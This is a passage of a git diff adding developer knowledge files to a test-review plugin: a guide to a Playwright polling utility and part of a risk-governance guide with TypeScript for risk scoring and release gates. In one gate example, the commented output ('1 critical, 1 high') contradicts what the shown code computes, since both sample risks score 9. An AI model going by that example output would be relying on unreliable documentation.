+
+---
+
+## Probability-Impact Threshold Summary
+
+| Score | Action   | Gate Impact          | Typical Use Case                       |
+| ----- | -------- | -------------------- | -------------------------------------- |
+| 1-3   | DOCUMENT | None                 | Cosmetic issues, low-priority bugs     |
+| 4-5   | MONITOR  | None (watch closely) | Edge cases, partial unknowns           |
+| 6-8   | MITIGATE | CONCERNS at gate     | High-impact scenarios needing coverage |
+| 9     | BLOCK    | Automatic FAIL       | Critical blockers, must resolve        |
+
+## Risk Assessment Checklist
+
+Before deploying risk matrix:
+
+- [ ] **Probability scale defined**: 1 (unlikely), 2 (possible), 3 (likely) with clear examples
+- [ ] **Impact scale defined**: 1 (minor), 2 (degraded), 3 (critical) with concrete criteria
+- [ ] **Threshold rules documented**: Score → Action mapping (1-3 = DOCUMENT, 4-5 = MONITOR, 6-8 = MITIGATE, 9 = BLOCK)
+- [ ] **Gate integration**: Risk scores drive gate decisions (PASS/CONCERNS/FAIL/WAIVED)
+- [ ] **Re-assessment process**: Risks re-evaluated as project evolves (requirements change, mitigations applied)
+- [ ] **Audit trail**: Historical tracking for risk changes (who, when, why)
+- [ ] **Mitigation tracking**: Link mitigations to probability reduction (quantify impact)
+- [ ] **Reporting**: Risk matrix visualization, trend reports, gate summaries
+
+## Integration Points
+
+- **Used in workflows**: `*test-design` (initial risk assessment), `*trace` (gate decision Phase 2), `*nfr-assess` (security/performance risks)
+- **Related fragments**: `risk-governance.md` (risk scoring matrix, gate decision engine), `test-priorities-matrix.md` (P0-P3 mapping), `nfr-criteria.md` (impact assessment for NFRs)
+- **Tools**: TypeScript for type safety, markdown for reports, version control for audit trail
+
+_Source: Murat risk model summary, gate decision patterns from production systems, probability-impact matrix from risk governance practices_
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/recurse.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/recurse.md
new file mode 100644
index 0000000..b2b1322
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/recurse.md
@@ -0,0 +1,421 @@
+# Recurse (Polling) Utility
+
+## Principle
+
+Use Cypress-style polling with Playwright's `expect.poll` to wait for asynchronous conditions. Provides configurable timeout, interval, logging, and post-polling callbacks with enhanced error categorization. **Ideal for backend testing**: polling API endpoints for job completion, database eventual consistency, message queue processing, and cache propagation.
+
+## Rationale
+
+Testing async operations (background jobs, eventual consistency, webhook processing) requires polling:
+
+- Vanilla `expect.poll` is verbose
+- No built-in logging for debugging
+- Generic timeout errors
+- No post-poll hooks
+
+The `recurse` utility provides:
+
+- **Clean syntax**: Inspired by cypress-recurse
+- **Enhanced errors**: Timeout vs command failure vs predicate errors
+- **Built-in logging**: Track polling progress
+- **Post-poll callbacks**: Process results after success
+- **Type-safe**: Full TypeScript generic support
+
+## Quick Start
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/recurse/fixtures';
+
+test('wait for job completion', async ({ recurse, apiRequest }) => {
+  const { body } = await apiRequest({
+    method: 'POST',
+    path: '/api/jobs',
+    body: { type: 'export' },
+  });
+
+  // Poll until job completes
+  const result = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/jobs/${body.id}` }),
+    (response) => response.body.status === 'completed',
+    { timeout: 60000 },
+  );
+
+  expect(result.body.downloadUrl).toBeDefined();
+});
+```
+
+## Pattern Examples
+
+### Example 1: Basic Polling
+
+**Context**: Wait for async operation to complete with custom timeout and interval.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/recurse/fixtures';
+
+test('should wait for job completion', async ({ recurse, apiRequest }) => {
+  // Start job
+  const { body } = await apiRequest({
+    method: 'POST',
+    path: '/api/jobs',
+    body: { type: 'export' },
+  });
+
+  // Poll until ready
+  const result = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/jobs/${body.id}` }),
+    (response) => response.body.status === 'completed',
+    {
+      timeout: 60000, // 60 seconds max
+      interval: 2000, // Check every 2 seconds
+      log: 'Waiting for export job to complete',
+    },
+  );
+
+  expect(result.body.downloadUrl).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- First arg: command function (what to execute)
+- Second arg: predicate function (when to stop)
+- Options: timeout, interval, log message
+- Returns the value when predicate returns true
+
+### Example 2: Working with Assertions
+
+**Context**: Use assertions directly in predicate for more expressive tests.
+
+**Implementation**:
+
+```typescript
+test('should poll with assertions', async ({ recurse, apiRequest }) => {
+  await apiRequest({
+    method: 'POST',
+    path: '/api/events',
+    body: { type: 'user-created', userId: '123' },
+  });
+
+  // Poll with assertions in predicate - no return true needed!
+  await recurse(
+    async () => {
+      const { body } = await apiRequest({ method: 'GET', path: '/api/events/123' });
+      return body;
+    },
+    (event) => {
+      // If all assertions pass, predicate succeeds
+      expect(event.processed).toBe(true);
+      expect(event.timestamp).toBeDefined();
+      // No need to return true - just let assertions pass
+    },
+    { timeout: 30000 },
+  );
+});
+```
+
+**Why no `return true` needed?**
+
+The predicate checks for "truthiness" of the return value. But there's a catch - in JavaScript, an empty `return` (or no return) returns `undefined`, which is falsy!
+
+The utility handles this by checking if:
+
+1. The predicate didn't throw (assertions passed)
+2. The return value was either `undefined` (implicit return) or truthy
+
+So you can:
+
+```typescript
+// Option 1: Use assertions only (recommended)
+(event) => {
+  expect(event.processed).toBe(true);
+};
+
+// Option 2: Return boolean (also works)
+(event) => event.processed === true;
+
+// Option 3: Mixed (assertions + explicit return)
+(event) => {
+  expect(event.processed).toBe(true);
+  return true;
+};
+```
+
+### Example 3: Error Handling
+
+**Context**: Understanding the different error types.
+
+**Error Types:**
+
+```typescript
+// RecurseTimeoutError - Predicate never returned true within timeout
+// Contains last command value and predicate error
+try {
+  await recurse(/* ... */);
+} catch (error) {
+  if (error instanceof RecurseTimeoutError) {
+    console.log('Timed out. Last value:', error.lastCommandValue);
+    console.log('Last predicate error:', error.lastPredicateError);
+  }
+}
+
+// RecurseCommandError - Command function threw an error
+// The command itself failed (e.g., network error, API error)
+
+// RecursePredicateError - Predicate function threw (not from assertions failing)
+// Logic error in your predicate code
+```
+
+**Custom Error Messages:**
+
+```typescript
+test('custom error on timeout', async ({ recurse, apiRequest }) => {
+  try {
+    await recurse(
+      () => apiRequest({ method: 'GET', path: '/api/status' }),
+      (res) => res.body.ready === true,
+      {
+        timeout: 10000,
+        error: 'System failed to become ready within 10 seconds - check background workers',
+      },
+    );
+  } catch (error) {
+    // Error message includes custom context
+    expect(error.message).toContain('check background workers');
+    throw error;
+  }
+});
+```
+
+### Example 4: Post-Polling Callback
+
+**Context**: Process or log results after successful polling.
+
+**Implementation**:
+
+```typescript
+test('post-poll processing', async ({ recurse, apiRequest }) => {
+  const finalResult = await recurse(
+    () => apiRequest({ method: 'GET', path: '/api/batch-job/123' }),
+    (res) => res.body.status === 'completed',
+    {
+      timeout: 60000,
+      post: (result) => {
+        // Runs after successful polling
+        console.log(`Job completed in ${result.body.duration}ms`);
+        console.log(`Processed ${result.body.itemsProcessed} items`);
+        return result.body;
+      },
+    },
+  );
+
+  expect(finalResult.itemsProcessed).toBeGreaterThan(0);
+});
+```
+
+**Key Points**:
+
+- `post` callback runs after predicate succeeds
+- Receives the final result
+- Can transform or log results
+- Return value becomes final `recurse` result
+
+### Example 5: UI Testing Scenarios
+
+**Context**: Wait for UI elements to reach a specific state through polling.
+
+**Implementation**:
+
+```typescript
+test('table data loads', async ({ page, recurse }) => {
+  await page.goto('/reports');
+
+  // Poll for table rows to appear
+  await recurse(
+    async () => page.locator('table tbody tr').count(),
+    (count) => count >= 10, // Wait for at least 10 rows
+    {
+      timeout: 15000,
+      interval: 500,
+      log: 'Waiting for table data to load',
+    },
+  );
+
+  // Now safe to interact with table
+  await page.locator('table tbody tr').first().click();
+});
+```
+
+### Example 6: Event-Based Systems (Kafka/Message Queues)
+
+**Context**: Testing eventual consistency with message queue processing.
+
+**Implementation**:
+
+```typescript
+test('kafka event processed', async ({ recurse, apiRequest }) => {
+  // Trigger action that publishes Kafka event
+  await apiRequest({
+    method: 'POST',
+    path: '/api/orders',
+    body: { productId: 'ABC123', quantity: 2 },
+  });
+
+  // Poll for downstream effect of Kafka consumer processing
+  const inventoryResult = await recurse(
+    () => apiRequest({ method: 'GET', path: '/api/inventory/ABC123' }),
+    (res) => {
+      // Assumes test fixture seeds inventory at 100; in production tests,
+      // fetch baseline first and assert: expect(res.body.available).toBe(baseline - 2)
+      expect(res.body.available).toBeLessThanOrEqual(98);
+    },
+    {
+      timeout: 30000, // Kafka processing may take time
+      interval: 1000,
+      log: 'Waiting for Kafka event to be processed',
+    },
+  );
+
+  expect(inventoryResult.body.lastOrderId).toBeDefined();
+});
+```
+
+### Example 7: Integration with API Request (Common Pattern)
+
+**Context**: Most common use case - polling API endpoints for state changes.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('end-to-end polling', async ({ apiRequest, recurse }) => {
+  // Trigger async operation
+  const { body: createResp } = await apiRequest({
+    method: 'POST',
+    path: '/api/data-import',
+    body: { source: 's3://bucket/data.csv' },
+  });
+
+  // Poll until import completes
+  const importResult = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/data-import/${createResp.importId}` }),
+    (response) => {
+      const { status, rowsImported } = response.body;
+      return status === 'completed' && rowsImported > 0;
+    },
+    {
+      timeout: 120000, // 2 minutes for large imports
+      interval: 5000, // Check every 5 seconds
+      log: `Polling import ${createResp.importId}`,
+    },
+  );
+
+  expect(importResult.body.rowsImported).toBeGreaterThan(1000);
+  expect(importResult.body.errors).toHaveLength(0);
+});
+```
+
+**Key Points**:
+
+- Combine `apiRequest` + `recurse` for API polling
+- Both from `@seontechnologies/playwright-utils/fixtures`
+- Complex predicates with multiple conditions
+- Logging shows polling progress in test reports
+
+## API Reference
+
+### RecurseOptions
+
+| Option     | Type               | Default     | Description                          |
+| ---------- | ------------------ | ----------- | ------------------------------------ |
+| `timeout`  | `number`           | `30000`     | Maximum time to wait (ms)            |
+| `interval` | `number`           | `1000`      | Time between polls (ms)              |
+| `log`      | `string`           | `undefined` | Message logged on each poll          |
+| `error`    | `string`           | `undefined` | Custom error message for timeout     |
+| `post`     | `(result: T) => R` | `undefined` | Callback after successful poll       |
+| `delay`    | `number`           | `0`         | Initial delay before first poll (ms) |
+
+### Error Types
+
+| Error Type              | When Thrown                             | Properties                               |
+| ----------------------- | --------------------------------------- | ---------------------------------------- |
+| `RecurseTimeoutError`   | Predicate never passed within timeout   | `lastCommandValue`, `lastPredicateError` |
+| `RecurseCommandError`   | Command function threw an error         | `cause` (original error)                 |
+| `RecursePredicateError` | Predicate threw (not assertion failure) | `cause` (original error)                 |
+
+## Comparison with Vanilla Playwright
+
+| Vanilla Playwright                                                | recurse Utility                                                           |
+| ----------------------------------------------------------------- | ------------------------------------------------------------------------- |
+| `await expect.poll(() => { ... }, { timeout: 30000 }).toBe(true)` | `await recurse(() => { ... }, (val) => val === true, { timeout: 30000 })` |
+| No logging                                                        | Built-in log option                                                       |
+| Generic timeout errors                                            | Categorized errors (timeout/command/predicate)                            |
+| No post-poll hooks                                                | `post` callback support                                                   |
+
+## When to Use
+
+**Use recurse for:**
+
+- Background job completion
+- Webhook/event processing
+- Database eventual consistency
+- Cache propagation
+- State machine transitions
+
+**Stick with vanilla expect.poll for:**
+
+- Simple UI element visibility (use `expect(locator).toBeVisible()`)
+- Single-property checks
+- Cases where logging isn't needed
+
+## Related Fragments
+
+- `api-testing-patterns.md` - Comprehensive pure API testing patterns
+- `api-request.md` - Combine for API endpoint polling
+- `overview.md` - Fixture composition patterns
+- `fixtures-composition.md` - Using with mergeTests
+- `contract-testing.md` - Contract testing with async verification
+
+## Anti-Patterns
+
+**DON'T use hard waits instead of polling:**
+
+```typescript
+await page.click('#export');
+await page.waitForTimeout(5000); // Arbitrary wait
+expect(await page.textContent('#status')).toBe('Ready');
+```
+
+**DO poll for actual condition:**
+
+```typescript
+await page.click('#export');
+await recurse(
+  () => page.textContent('#status'),
+  (status) => status === 'Ready',
+  { timeout: 10000 },
+);
+```
+
+**DON'T poll too frequently:**
+
+```typescript
+await recurse(
+  () => apiRequest({ method: 'GET', path: '/status' }),
+  (res) => res.body.ready,
+  { interval: 100 }, // Hammers API every 100ms!
+);
+```
+
+**DO use reasonable interval for API calls:**
+
+```typescript
+await recurse(
+  () => apiRequest({ method: 'GET', path: '/status' }),
+  (res) => res.body.ready,
+  { interval: 2000 }, // Check every 2 seconds (reasonable)
+);
+```
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/risk-governance.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/risk-governance.md
new file mode 100644
index 0000000..1db093e
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/risk-governance.md
@@ -0,0 +1,615 @@
+# Risk Governance and Gatekeeping
+
+## Principle
+
+Risk governance transforms subjective "should we ship?" debates into objective, data-driven decisions. By scoring risk (probability × impact), classifying by category (TECH, SEC, PERF, etc.), and tracking mitigation ownership, teams create transparent quality gates that balance speed with safety.
+
+## Rationale
+
+**The Problem**: Without formal risk governance, releases become political—loud voices win, quiet risks hide, and teams discover critical issues in production. "We thought it was fine" isn't a release strategy.
+
+**The Solution**: Risk scoring (1-3 scale for probability and impact, total 1-9) creates shared language. Scores ≥6 demand documented mitigation. Scores = 9 mandate gate failure. Every acceptance criterion maps to a test, and gaps require explicit waivers with owners and expiry dates.
+
+**Why This Matters**:
+
+- Removes ambiguity from release decisions (objective scores vs subjective opinions)
+- Creates audit trail for compliance (FDA, SOC2, ISO require documented risk management)
+- Identifies true blockers early (prevents last-minute production fires)
+- Distributes responsibility (owners, mitigation plans, deadlines for every risk >4)
+
+## Pattern Examples
+
+### Example 1: Risk Scoring Matrix with Automated Classification (TypeScript)
+
+**Context**: Calculate risk scores automatically from test results and categorize by risk type
+
+**Implementation**:
+
+```typescript
+// risk-scoring.ts - Risk classification and scoring system
+export const RISK_CATEGORIES = {
+  TECH: 'TECH', // Technical debt, architecture fragility
+  SEC: 'SEC', // Security vulnerabilities
+  PERF: 'PERF', // Performance degradation
+  DATA: 'DATA', // Data integrity, corruption
+  BUS: 'BUS', // Business logic errors
+  OPS: 'OPS', // Operational issues (deployment, monitoring)
+} as const;
+
+export type RiskCategory = keyof typeof RISK_CATEGORIES;
+
+export type RiskScore = {
+  id: string;
+  category: RiskCategory;
+  title: string;
+  description: string;
+  probability: 1 | 2 | 3; // 1=Low, 2=Medium, 3=High
+  impact: 1 | 2 | 3; // 1=Low, 2=Medium, 3=High
+  score: number; // probability × impact (1-9)
+  owner: string;
+  mitigationPlan?: string;
+  deadline?: Date;
+  status: 'OPEN' | 'MITIGATED' | 'WAIVED' | 'ACCEPTED';
+  waiverReason?: string;
+  waiverApprover?: string;
+  waiverExpiry?: Date;
+};
+
+// Risk scoring rules
+export function calculateRiskScore(probability: 1 | 2 | 3, impact: 1 | 2 | 3): number {
+  return probability * impact;
+}
+
+export function requiresMitigation(score: number): boolean {
+  return score >= 6; // Scores 6-9 demand action
+}
+
+export function isCriticalBlocker(score: number): boolean {
+  return score === 9; // Probability=3 AND Impact=3 → FAIL gate
+}
+
+export function classifyRiskLevel(score: number): 'LOW' | 'MEDIUM' | 'HIGH' | 'CRITICAL' {
+  if (score === 9) return 'CRITICAL';
+  if (score >= 6) return 'HIGH';
+  if (score >= 4) return 'MEDIUM';
+  return 'LOW';
+}
+
+// Example: Risk assessment from test failures
+export function assessTestFailureRisk(failure: {
+  test: string;
+  category: RiskCategory;
+  affectedUsers: number;
+  revenueImpact: number;
+  securityVulnerability: boolean;
+}): RiskScore {
+  // Probability based on test failure frequency (simplified)
+  const probability: 1 | 2 | 3 = 3; // Test failed = High probability
+
+  // Impact based on business context
+  let impact: 1 | 2 | 3 = 1;
+  if (failure.securityVulnerability) impact = 3;
+  else if (failure.revenueImpact > 10000) impact = 3;
+  else if (failure.affectedUsers > 1000) impact = 2;
+  else impact = 1;
+
+  const score = calculateRiskScore(probability, impact);
+
+  return {
+    id: `risk-${Date.now()}`,
+    category: failure.category,
+    title: `Test failure: ${failure.test}`,
+    description: `Affects ${failure.affectedUsers} users, $${failure.revenueImpact} revenue`,
+    probability,
+    impact,
+    score,
+    owner: 'unassigned',
+    status: score === 9 ? 'OPEN' : 'OPEN',
+  };
+}
+```
+
+**Key Points**:
+
+- **Objective scoring**: Probability (1-3) × Impact (1-3) = Score (1-9)
+- **Clear thresholds**: Score ≥6 requires mitigation, score = 9 blocks release
+- **Business context**: Revenue, users, security drive impact calculation
+- **Status tracking**: OPEN → MITIGATED → WAIVED → ACCEPTED lifecycle
+
+---
+
+### Example 2: Gate Decision Engine with Traceability Validation
+
+**Context**: Automated gate decision based on risk scores and test coverage
+
+**Implementation**:
+
+```typescript
+// gate-decision-engine.ts
+export type GateDecision = 'PASS' | 'CONCERNS' | 'FAIL' | 'WAIVED';
+
+export type CoverageGap = {
+  acceptanceCriteria: string;
+  testMissing: string;
+  reason: string;
+};
+
+export type GateResult = {
+  decision: GateDecision;
+  timestamp: Date;
+  criticalRisks: RiskScore[];
+  highRisks: RiskScore[];
+  coverageGaps: CoverageGap[];
+  summary: string;
+  recommendations: string[];
+};
+
+export function evaluateGate(params: { risks: RiskScore[]; coverageGaps: CoverageGap[]; waiverApprover?: string }): GateResult {
+  const { risks, coverageGaps, waiverApprover } = params;
+
+  // Categorize risks
+  const criticalRisks = risks.filter((r) => r.score === 9 && r.status === 'OPEN');
+  const highRisks = risks.filter((r) => r.score >= 6 && r.score < 9 && r.status === 'OPEN');
+  const unresolvedGaps = coverageGaps.filter((g) => !g.reason);
+
+  // Decision logic
+  let decision: GateDecision;
+
+  // FAIL: Critical blockers (score=9) or missing coverage
+  if (criticalRisks.length > 0 || unresolvedGaps.length > 0) {
+    decision = 'FAIL';
+  }
+  // WAIVED: All risks waived by authorized approver
+  else if (risks.every((r) => r.status === 'WAIVED') && waiverApprover) {
+    decision = 'WAIVED';
+  }
+  // CONCERNS: High risks (score 6-8) with mitigation plans
+  else if (highRisks.length > 0 && highRisks.every((r) => r.mitigationPlan && r.owner !== 'unassigned')) {
+    decision = 'CONCERNS';
+  }
+  // PASS: No critical issues, all risks mitigated or low
+  else {
+    decision = 'PASS';
+  }
+
+  // Generate recommendations
+  const recommendations: string[] = [];
+  if (criticalRisks.length > 0) {
+    recommendations.push(`🚨 ${criticalRisks.length} CRITICAL risk(s) must be mitigated before release`);
+  }
+  if (unresolvedGaps.length > 0) {
+    recommendations.push(`📋 ${unresolvedGaps.length} acceptance criteria lack test coverage`);
+  }
+  if (highRisks.some((r) => !r.mitigationPlan)) {
+    recommendations.push(`⚠️  High risks without mitigation plans: assign owners and deadlines`);
+  }
+  if (decision === 'PASS') {
+    recommendations.push(`✅ All risks mitigated or acceptable. Ready for release.`);
+  }
+
+  return {
+    decision,
+    timestamp: new Date(),
+    criticalRisks,
+    highRisks,
+    coverageGaps: unresolvedGaps,
+    summary: generateSummary(decision, risks, unresolvedGaps),
+    recommendations,
+  };
+}
+
+function generateSummary(decision: GateDecision, risks: RiskScore[], gaps: CoverageGap[]): string {
+  const total = risks.length;
+  const critical = risks.filter((r) => r.score === 9).length;
+  const high = risks.filter((r) => r.score >= 6 && r.score < 9).length;
+
+  return `Gate Decision: ${decision}. Total Risks: ${total} (${critical} critical, ${high} high). Coverage Gaps: ${gaps.length}.`;
+}
+```
+
+**Usage Example**:
+
+```typescript
+// Example: Running gate check before deployment
+import { assessTestFailureRisk, evaluateGate } from './gate-decision-engine';
+
+// Collect risks from test results
+const risks: RiskScore[] = [
+  assessTestFailureRisk({
+    test: 'Payment processing with expired card',
+    category: 'BUS',
+    affectedUsers: 5000,
+    revenueImpact: 50000,
+    securityVulnerability: false,
+  }),
+  assessTestFailureRisk({
+    test: 'SQL injection in search endpoint',
+    category: 'SEC',
+    affectedUsers: 10000,
+    revenueImpact: 0,
+    securityVulnerability: true,
+  }),
+];
+
+// Identify coverage gaps
+const coverageGaps: CoverageGap[] = [
+  {
+    acceptanceCriteria: 'User can reset password via email',
+    testMissing: 'e2e/auth/password-reset.spec.ts',
+    reason: '', // Empty = unresolved
+  },
+];
+
+// Evaluate gate
+const gateResult = evaluateGate({ risks, coverageGaps });
+
+console.log(gateResult.decision); // 'FAIL'
+console.log(gateResult.summary);
+// "Gate Decision: FAIL. Total Risks: 2 (1 critical, 1 high). Coverage Gaps: 1."
+
+console.log(gateResult.recommendations);
+// [
+//   "🚨 1 CRITICAL risk(s) must be mitigated before release",
+//   "📋 1 acceptance criteria lack test coverage"
+// ]
+```
+
+**Key Points**:
+
+- **Automated decision**: No human interpretation required
+- **Clear criteria**: FAIL = critical risks or gaps, CONCERNS = high risks with plans, PASS = low risks
+- **Actionable output**: Recommendations drive next steps
+- **Audit trail**: Timestamp, decision, and context for compliance
+
+---
+
+### Example 3: Risk Mitigation Workflow with Owner Tracking
+
+**Context**: Track risk mitigation from identification to resolution
+
+**Implementation**:
+
+```typescript
+// risk-mitigation.ts
+export type MitigationAction = {
+  riskId: string;
+  action: string;
+  owner: string;
+  deadline: Date;
+  status: 'PENDING' | 'IN_PROGRESS' | 'COMPLETED' | 'BLOCKED';
+  completedAt?: Date;
+  blockedReason?: string;
+};
+
+export class RiskMitigationTracker {
+  private risks: Map<string, RiskScore> = new Map();
+  private actions: Map<string, MitigationAction[]> = new Map();
+  private history: Array<{ riskId: string; event: string; timestamp: Date }> = [];
+
+  // Register a new risk
+  addRisk(risk: RiskScore): void {
+    this.risks.set(risk.id, risk);
+    this.logHistory(risk.id, `Risk registered: ${risk.title} (Score: ${risk.score})`);
+
+    // Auto-assign mitigation requirements for score ≥6
+    if (requiresMitigation(risk.score) && !risk.mitigationPlan) {
+      this.logHistory(risk.id, `⚠️  Mitigation required (score ${risk.score}). Assign owner and plan.`);
+    }
+  }
+
+  // Add mitigation action
+  addMitigationAction(action: MitigationAction): void {
+    const risk = this.risks.get(action.riskId);
+    if (!risk) throw new Error(`Risk ${action.riskId} not found`);
+
+    const existingActions = this.actions.get(action.riskId) || [];
+    existingActions.push(action);
+    this.actions.set(action.riskId, existingActions);
+
+    this.logHistory(action.riskId, `Mitigation action added: ${action.action} (Owner: ${action.owner})`);
+  }
+
+  // Complete mitigation action
+  completeMitigation(riskId: string, actionIndex: number): void {
+    const actions = this.actions.get(riskId);
+    if (!actions || !actions[actionIndex]) throw new Error('Action not found');
+
+    actions[actionIndex].status = 'COMPLETED';
+    actions[actionIndex].completedAt = new Date();
+
+    this.logHistory(riskId, `Mitigation completed: ${actions[actionIndex].action}`);
+
+    // If all actions completed, mark risk as MITIGATED
+    if (actions.every((a) => a.status === 'COMPLETED')) {
+      const risk = this.risks.get(riskId)!;
+      risk.status = 'MITIGATED';
+      this.logHistory(riskId, `✅ Risk mitigated. All actions complete.`);
+    }
+  }
+
+  // Request waiver for a risk
+  requestWaiver(riskId: string, reason: string, approver: string, expiryDays: number): void {
+    const risk = this.risks.get(riskId);
+    if (!risk) throw new Error(`Risk ${riskId} not found`);
+
+    risk.status = 'WAIVED';
+    risk.waiverReason = reason;
+    risk.waiverApprover = approver;
+    risk.waiverExpiry = new Date(Date.now() + expiryDays * 24 * 60 * 60 * 1000);
+
+    this.logHistory(riskId, `⚠️  Waiver granted by ${approver}. Expires: ${risk.waiverExpiry}`);
+  }
+
+  // Generate risk report
+  generateReport(): string {
+    const allRisks = Array.from(this.risks.values());
+    const critical = allRisks.filter((r) => r.score === 9 && r.status === 'OPEN');
+    const high = allRisks.filter((r) => r.score >= 6 && r.score < 9 && r.status === 'OPEN');
+    const mitigated = allRisks.filter((r) => r.status === 'MITIGATED');
+    const waived = allRisks.filter((r) => r.status === 'WAIVED');
+
+    let report = `# Risk Mitigation Report\n\n`;
+    report += `**Generated**: ${new Date().toISOString()}\n\n`;
+    report += `## Summary\n`;
+    report += `- Total Risks: ${allRisks.length}\n`;
+    report += `- Critical (Score=9, OPEN): ${critical.length}\n`;
+    report += `- High (Score 6-8, OPEN): ${high.length}\n`;
+    report += `- Mitigated: ${mitigated.length}\n`;
+    report += `- Waived: ${waived.length}\n\n`;
+
+    if (critical.length > 0) {
+      report += `## 🚨 Critical Risks (BLOCKERS)\n\n`;
+      critical.forEach((r) => {
+        report += `- **${r.title}** (${r.category})\n`;
+        report += `  - Score: ${r.score} (Probability: ${r.probability}, Impact: ${r.impact})\n`;
+        report += `  - Owner: ${r.owner}\n`;
+        report += `  - Mitigation: ${r.mitigationPlan || 'NOT ASSIGNED'}\n\n`;
+      });
+    }
+
+    if (high.length > 0) {
+      report += `## ⚠️  High Risks\n\n`;
+      high.forEach((r) => {
+        report += `- **${r.title}** (${r.category})\n`;
+        report += `  - Score: ${r.score}\n`;
+        report += `  - Owner: ${r.owner}\n`;
+        report += `  - Deadline: ${r.deadline?.toISOString().split('T')[0] || 'NOT SET'}\n\n`;
+      });
+    }
+
+    return report;
+  }
+
+  private logHistory(riskId: string, event: string): void {
+    this.history.push({ riskId, event, timestamp: new Date() });
+  }
+
+  getHistory(riskId: string): Array<{ event: string; timestamp: Date }> {
+    return this.history.filter((h) => h.riskId === riskId).map((h) => ({ event: h.event, timestamp: h.timestamp }));
+  }
+}
+```
+
+**Usage Example**:
+
+```typescript
+const tracker = new RiskMitigationTracker();
+
+// Register critical security risk
+tracker.addRisk({
+  id: 'risk-001',
+  category: 'SEC',
+  title: 'SQL injection vulnerability in user search',
+  description: 'Unsanitized input allows arbitrary SQL execution',
+  probability: 3,
+  impact: 3,
+  score: 9,
+  owner: 'security-team',
+  status: 'OPEN',
+});
+
+// Add mitigation actions
+tracker.addMitigationAction({
+  riskId: 'risk-001',
+  action: 'Add parameterized queries to user-search endpoint',
+  owner: 'alice@example.com',
+  deadline: new Date('2025-10-20'),
+  status: 'IN_PROGRESS',
+});
+
+tracker.addMitigationAction({
+  riskId: 'risk-001',
+  action: 'Add WAF rule to block SQL injection patterns',
+  owner: 'bob@example.com',
+  deadline: new Date('2025-10-22'),
+  status: 'PENDING',
+});
+
+// Complete first action
+tracker.completeMitigation('risk-001', 0);
+
+// Generate report
+console.log(tracker.generateReport());
+// Markdown report with critical risks, owners, deadlines
+
+// View history
+console.log(tracker.getHistory('risk-001'));
+// [
+//   { event: 'Risk registered: SQL injection...', timestamp: ... },
+//   { event: 'Mitigation action added: Add parameterized queries...', timestamp: ... },
+//   { event: 'Mitigation completed: Add parameterized queries...', timestamp: ... }
+// ]
+```
+
+**Key Points**:
+
+- **Ownership enforcement**: Every risk >4 requires owner assignment
+- **Deadline tracking**: Mitigation actions have explicit deadlines
+- **Audit trail**: Complete history of risk lifecycle (registered → mitigated)
+- **Automated reports**: Markdown output for Confluence/GitHub wikis
+
+---
+
+### Example 4: Coverage Traceability Matrix (Test-to-Requirement Mapping)
+
+**Context**: Validate that every acceptance criterion maps to at least one test
+
+**Implementation**:
+
+```typescript
+// coverage-traceability.ts
+export type AcceptanceCriterion = {
+  id: string;
+  story: string;
+  criterion: string;
+  priority: 'P0' | 'P1' | 'P2' | 'P3';
+};
+
+export type TestCase = {
+  file: string;
+  name: string;
+  criteriaIds: string[]; // Links to acceptance criteria
+};
+
+export type CoverageMatrix = {
+  criterion: AcceptanceCriterion;
+  tests: TestCase[];
+  covered: boolean;
+  waiverReason?: string;
+};
+
+export function buildCoverageMatrix(criteria: AcceptanceCriterion[], tests: TestCase[]): CoverageMatrix[] {
+  return criteria.map((criterion) => {
+    const matchingTests = tests.filter((t) => t.criteriaIds.includes(criterion.id));
+
+    return {
+      criterion,
+      tests: matchingTests,
+      covered: matchingTests.length > 0,
+    };
+  });
+}
+
+export function validateCoverage(matrix: CoverageMatrix[]): {
+  gaps: CoverageMatrix[];
+  passRate: number;
+} {
+  const gaps = matrix.filter((m) => !m.covered && !m.waiverReason);
+  const passRate = ((matrix.length - gaps.length) / matrix.length) * 100;
+
+  return { gaps, passRate };
+}
+
+// Example: Extract criteria IDs from test names
+export function extractCriteriaFromTests(testFiles: string[]): TestCase[] {
+  // Simplified: In real implementation, parse test files with AST
+  // Here we simulate extraction from test names
+  return [
+    {
+      file: 'tests/e2e/auth/login.spec.ts',
+      name: 'should allow user to login with valid credentials',
+      criteriaIds: ['AC-001', 'AC-002'], // Linked to acceptance criteria
+    },
+    {
+      file: 'tests/e2e/auth/password-reset.spec.ts',
+      name: 'should send password reset email',
+      criteriaIds: ['AC-003'],
+    },
+  ];
+}
+
+// Generate Markdown traceability report
+export function generateTraceabilityReport(matrix: CoverageMatrix[]): string {
+  let report = `# Requirements-to-Tests Traceability Matrix\n\n`;
+  report += `**Generated**: ${new Date().toISOString()}\n\n`;
+
+  const { gaps, passRate } = validateCoverage(matrix);
+
+  report += `## Summary\n`;
+  report += `- Total Criteria: ${matrix.length}\n`;
+  report += `- Covered: ${matrix.filter((m) => m.covered).length}\n`;
+  report += `- Gaps: ${gaps.length}\n`;
+  report += `- Waived: ${matrix.filter((m) => m.waiverReason).length}\n`;
+  report += `- Coverage Rate: ${passRate.toFixed(1)}%\n\n`;
+
+  if (gaps.length > 0) {
+    report += `## ❌ Coverage Gaps (MUST RESOLVE)\n\n`;
+    report += `| Story | Criterion | Priority | Tests |\n`;
+    report += `|-------|-----------|----------|-------|\n`;
+    gaps.forEach((m) => {
+      report += `| ${m.criterion.story} | ${m.criterion.criterion} | ${m.criterion.priority} | None |\n`;
+    });
+    report += `\n`;
+  }
+
+  report += `## ✅ Covered Criteria\n\n`;
+  report += `| Story | Criterion | Tests |\n`;
+  report += `|-------|-----------|-------|\n`;
+  matrix
+    .filter((m) => m.covered)
+    .forEach((m) => {
+      const testList = m.tests.map((t) => `\`${t.file}\``).join(', ');
